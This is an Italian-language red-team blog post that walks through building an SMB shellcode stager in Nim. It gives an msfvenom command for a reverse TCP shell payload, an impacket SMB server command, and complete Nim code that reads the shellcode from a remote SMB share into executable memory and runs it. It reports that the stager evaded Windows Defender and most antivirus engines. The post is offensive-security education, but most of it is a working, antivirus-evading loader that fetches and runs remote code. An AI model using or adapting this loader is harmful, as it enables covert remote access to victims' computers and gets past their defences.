Sviluppo stager SMB in Nim

Nov 24 2022
Ciao compagni Red Teamers. Di recente ho iniziato a mettermi in contatto con Nim per la codifica offensiva.

Ciao compagni Red Teamers. Di recente ho iniziato a mettermi in contatto con Nim per la codifica offensiva. Ad essere onesti lo trovo difficile e strano, ma FUNZIONA!

Oggi stiamo sviluppando un semplice stager SMB, aggirando Windows Defender al momento del test.

Se preferisci guardare un video invece di leggere, puoi trovare il video completo qui:https://youtu.be/qq-S2syksL0

Inoltre, se sei interessato a unirti a Discord aperto per condividere la conoscenza e l'esperienza della sicurezza informatica, sentiti il ​​benvenuto:https://discord.gg/dWCe5ZMvtQ

Andiamo

La teoria è abbastanza semplice, l'idea è di evitare di scrivere lo shellcode nel file, aggirando il rilevamento basato sulla firma, aiutando anche l'euristica. Inizialmente ho provato a scaricare lo shellcode con HTTP, ma sono incappato in molti problemi, non sono riuscito a risolvermi. Quindi la metodologia è leggermente cambiata. Invece di scaricarlo da HTTP, il payload sarà ospitato sulla condivisione SMB e verrà letto direttamente da lì.

Ho usato il payload stageless msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

impacket-smbserver smb . -ts -debug -smb2support

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

echo shellcode

echo fileSize

echo sizeof(shellcode)

type
    buf* = LPVOID



var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Per prima cosa, dobbiamo importare la libreria del kernel di Windows, permettendoci di invocare le API di Windows:

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

type
    buf* = LPVOID

var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Tempo di test!

Ho eseguito 2 test. Il primo è contro Windows 10 Client con Defender UP e RUNNING. Il secondo è contro l'interfaccia antiscan.me.

Nim Stager contro Windows Defender

Il test 1 inizia rilasciando lo stager nel filesystem. Finora non è stato attivato nulla, il che significa che abbiamo aggirato con successo il rilevamento basato sulla firma. Ora corriamo e osserviamo:

Lo stager si è rivelato funzionare bene, e la cosa strana qui è che Defender è riuscito ad attivarsi, ma questo non ha ucciso il guscio:

Ho avuto questa shell in esecuzione per un sacco di minuti ed era perfettamente funzionante. Personalmente non ho idea del perché il difensore non l'abbia ucciso, se conosci la risposta apprezzerei la condivisione.

Nim Stager contro Antiscanme

Non fraintendetemi, l'antiscanme è fantastico ma quando testano gli stager, non hanno davvero un modo per presentare risultati validi. I risultati che vedi si basano solidamente sul rilevamento basato sulla firma, poiché non hanno possibilità di rete di scaricare lo shellcode effettivo. Mi aspetto che più fornitori AV lo capiscano durante i test reali, ma è un bel "primo passo" da fare.

Dopo aver caricato lo stager, solo 4 venditori su 26 sono stati in grado di catturarlo.

Credo che il trigger sia basato sui fornitori che leggono le chiamate alle API di Windows, considerandolo quindi come dannoso. Ovviamente, per testare esattamente cosa è andato storto, avrei bisogno di eseguire molti, molti test. Questa è la mia teoria per il momento.

Conclusione

Suonare con Nim è divertente e i risultati che abbiamo ottenuto semplicemente mettendo in scena le cose sono sorprendenti. Naturalmente, ci sono tecniche di bypass AV molto più avanzate che possiamo eseguire, ma lo faremo in futuro. Spero che troverai utili i contenuti e che tu abbia imparato qualcosa di nuovo.